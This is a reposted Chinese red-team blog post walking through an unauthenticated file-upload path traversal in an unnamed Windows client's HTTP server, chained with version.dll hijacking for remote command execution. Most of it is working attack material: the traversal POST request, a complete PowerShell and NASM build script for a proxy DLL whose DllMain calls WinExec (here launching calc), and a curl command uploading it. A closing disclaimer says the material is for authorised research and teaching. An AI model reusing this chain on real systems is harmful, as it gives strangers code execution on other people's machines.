文章总结: 本文详细演示了通过未授权文件上传漏洞结合DLL劫持实现远程命令执行的完整攻击流程。核心发现包括:客户端HTTP服务绑定0.0.0.0可远程访问;UploadFile接口存在目录穿越漏洞;version.dll因未指定绝对路径可被劫持。文章提供了从漏洞发现、数据包构造到恶意DLL生成的详细步骤,属于典型的红队实战技术分享。 综合评分: 80 文章分类: 代码审计,漏洞分析,渗透测试,红队,恶意软件
【代码审计】客户端漏洞之未授权文件上传+dll劫持实现命令执行rce
原创
挖个洞先 挖个洞先
挖个洞先
2026年7月7日 20:12 北京
在小说阅读器读本章
去阅读
“ 悠仁,你很强,所以要去帮助别人。在你力所能及的范围之内就行,能救的人都去救。迷茫也无所谓,不被人感谢也别在意,总之尽可能多地帮助别人。你要在众人的簇拥下死去。——《咒术回战》S1E1 ”
01
—
操作步骤
1、Parameters.ini配置文件定义HTTP端口80
2、查看80发现绑定0.0.0.0,可以远程攻击
netstat -ano | findstr ":80"Get-Process -Id 3128
3、导入Server.exe,Strings搜索/定位接口
4、点击/UploadFile,
查看交叉引用进入_TfrmMain_HTTPServerCommandGet函数
5、定位到代码
如果接口是UploadFile进入条件分支else if ( (unsigned __int8)unknown_libname_145(*(_DWORD *)(v169 + 164), &str__UploadFile[1]) )参数名是fileClasses::TStrings::GetValue(*(Classes::TStrings **)(v169 + 144), (const int)&str_file[1]);UploadDir直接拼接,存在目录穿越System::__linkproc__ LStrCatN(v153, 4, v13, &str__UploadDir_[1], *(_DWORD *)v153);
6、构造数据包,使用另一台机器发包
POST /UploadFile?file=../../../../../../../../../123.txt HTTP/1.1Host: 192.168.31.110Content-Type: application/octet-streamContent-Length: 3Connection: close123
7、成功上传到安装目录的根路径
8、查看Imports,version.dll没写绝对路径,存在dll劫持
9、构造version.dll
param( [string]$ToolRoot = $env:W64DEVKIT_ROOT, [string]$BuildRoot = $env:VULN02_BUILD_ROOT, [string]$OutputPath = "")$ErrorActionPreference = "Stop"$scriptDir = if ($PSScriptRoot) { $PSScriptRoot } else { (Get-Location).Path }if ([string]::IsNullOrWhiteSpace($OutputPath)) { $OutputPath = Join-Path $scriptDir "version.dll"}$embeddedAsm = @'bits 32extern _GetProcAddressextern _LoadLibraryWextern _WinExecglobal _DllMain@12global _GetFileVersionInfoAglobal _GetFileVersionInfoSizeAglobal _VerQueryValueAsection .data h_realver dd 0 p_GetFileVersionInfoA dd 0 p_GetFileVersionInfoSizeA dd 0 p_VerQueryValueA dd 0 n_GetFileVersionInfoA db "GetFileVersionInfoA", 0 n_GetFileVersionInfoSizeA db "GetFileVersionInfoSizeA", 0 n_VerQueryValueA db "VerQueryValueA", 0 cmd_calc db "calc", 0 realver_path: dw 'C', ':', '\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\' dw 'S', 'y', 's', 'W', 'O', 'W', '6', '4', '\' dw 'v', 'e', 'r', 's', 'i', 'o', 'n', '.', 'd', 'l', 'l', 0section .textensure_real: cmp dword [h_realver], 0 jne .done push realver_path call _LoadLibraryW mov [h_realver], eax.done: retresolve_real: push ebp mov ebp, esp push ebx call ensure_real mov eax, [ebp + 8] push eax push dword [h_realver] call _GetProcAddress mov ebx, [ebp + 12] mov [ebx], eax pop ebx pop ebp ret 8_DllMain@12: push ebp mov ebp, esp cmp dword [ebp + 12], 1 jne .ret_true push 1 push cmd_calc call _WinExec.ret_true: mov eax, 1 pop ebp ret 12_GetFileVersionInfoA: cmp dword [p_GetFileVersionInfoA], 0 jne .go push p_GetFileVersionInfoA push n_GetFileVersionInfoA call resolve_real.go: jmp dword [p_GetFileVersionInfoA]_GetFileVersionInfoSizeA: cmp dword [p_GetFileVersionInfoSizeA], 0 jne .go push p_GetFileVersionInfoSizeA push n_GetFileVersionInfoSizeA call resolve_real.go: jmp dword [p_GetFileVersionInfoSizeA]_VerQueryValueA: cmp dword [p_VerQueryValueA], 0 jne .go push p_VerQueryValueA push n_VerQueryValueA call resolve_real.go: jmp dword [p_VerQueryValueA]'@$embeddedKernelDef = @'LIBRARY KERNEL32.dllEXPORTS GetProcAddress LoadLibraryW WinExec'@$embeddedExportDef = @'LIBRARY version.dllEXPORTS GetFileVersionInfoA=GetFileVersionInfoA GetFileVersionInfoSizeA=GetFileVersionInfoSizeA VerQueryValueA=VerQueryValueA'@function Test-AsciiPath { param([Parameter(Mandatory = $true)][string]$Path) foreach ($ch in $Path.ToCharArray()) { if ([int][char]$ch -gt 127) { return $false } } return $true}function Add-CandidatePath { param( [System.Collections.Generic.List[string]]$List, [string]$Path ) if (-not [string]::IsNullOrWhiteSpace($Path) -and -not $List.Contains($Path)) { [void]$List.Add($Path) }}function Resolve-Tool { param([Parameter(Mandatory = $true)][string]$Name) $candidates = [System.Collections.Generic.List[string]]::new() if (-not [string]::IsNullOrWhiteSpace($ToolRoot)) { Add-CandidatePath $candidates (Join-Path $ToolRoot "bin/$Name") Add-CandidatePath $candidates (Join-Path $ToolRoot $Name) } Add-CandidatePath $candidates (Join-Path $scriptDir "w64devkit/bin/$Name") Add-CandidatePath $candidates (Join-Path (Split-Path -Parent $scriptDir) "w64devkit/bin/$Name") Add-CandidatePath $candidates "D:/path/gcc-w64devkit-1.22.0/w64devkit/bin/$Name" $command = Get-Command $Name -ErrorAction SilentlyContinue if ($command) { Add-CandidatePath $candidates $command.Source } foreach ($candidate in $candidates) { if (Test-Path -LiteralPath $candidate) { return (Resolve-Path -LiteralPath $candidate).Path } } throw "Tool not found: $Name. Add w64devkit/bin to PATH, or run with -ToolRoot, for example: ./build_nasm_x86.ps1 -ToolRoot C:/tools/w64devkit"}function Resolve-AsciiBuildDir { $roots = [System.Collections.Generic.List[string]]::new() Add-CandidatePath $roots $BuildRoot Add-CandidatePath $roots "D:/win/tmpascii" Add-CandidatePath $roots $env:TEMP Add-CandidatePath $roots $env:TMP if (-not [string]::IsNullOrWhiteSpace($env:SystemRoot)) { Add-CandidatePath $roots (Join-Path $env:SystemRoot "Temp") } Add-CandidatePath $roots "C:/Temp" foreach ($root in $roots) { try { New-Item -ItemType Directory -Force -Path $root | Out-Null $fullRoot = [System.IO.Path]::GetFullPath($root) if (-not (Test-AsciiPath $fullRoot)) { continue } $dir = Join-Path $fullRoot "vuln02_version_build" New-Item -ItemType Directory -Force -Path $dir | Out-Null return $dir } catch { continue } } throw "No writable ASCII build directory found. Use -BuildRoot C:/Temp, or set VULN02_BUILD_ROOT."}function Write-AsciiFile { param( [Parameter(Mandatory = $true)][string]$Path, [Parameter(Mandatory = $true)][string]$Content ) $parent = Split-Path -Parent $Path New-Item -ItemType Directory -Force -Path $parent | Out-Null [System.IO.File]::WriteAllText($Path, $Content, [System.Text.Encoding]::ASCII)}function Invoke-Checked { param( [Parameter(Mandatory = $true)][string]$FilePath, [Parameter(ValueFromRemainingArguments = $true)][string[]]$Arguments ) & $FilePath @Arguments if ($LASTEXITCODE -ne 0) { throw "Command failed: $FilePath $($Arguments -join ' ')" }}$nasm = Resolve-Tool "nasm.exe"$dlltool = Resolve-Tool "dlltool.exe"$ld = Resolve-Tool "ld.exe"$as = Resolve-Tool "as.exe"$buildDir = Resolve-AsciiBuildDir$buildAsm = Join-Path $buildDir "version_dll_nasm.asm"$buildKernelDef = Join-Path $buildDir "kernel32_min.def"$buildExportDef = Join-Path $buildDir "version_exports.def"$buildObj = Join-Path $buildDir "version_dll_nasm.obj"$buildKernelLib = Join-Path $buildDir "libkernel32_min.a"$buildOut = Join-Path $buildDir "version.dll"Write-AsciiFile $buildAsm $embeddedAsmWrite-AsciiFile $buildKernelDef $embeddedKernelDefWrite-AsciiFile $buildExportDef $embeddedExportDefInvoke-Checked $nasm "-f" "win32" $buildAsm "-o" $buildObjInvoke-Checked $dlltool "-m" "i386" "--as" $as "--as-flags" "--32" "--input-def" $buildKernelDef "--output-lib" $buildKernelLibInvoke-Checked $ld "-m" "i386pe" "--shared" "--enable-stdcall-fixup" "-e" "_DllMain@12" "-o" $buildOut $buildObj $buildExportDef $buildKernelLibCopy-Item -LiteralPath $buildOut -Destination $OutputPath -ForceWrite-Host "built: $OutputPath"Write-Host "build dir: $buildDir"
10、上传dll
curl.exe -v --http1.1 --request POST -H "Content-Type: application/octet-stream" --data-binary "@E:/version.dll" "http://192.168.31.110/UploadFile?file=..%5C..%5Cversion.dll"
11、关闭Server.exe重新打开触发命令执行打开计算器
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:挖个洞先 挖个洞先 挖个洞先《【代码审计】客户端漏洞之未授权文件上传+dll劫持实现命令执行rce》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论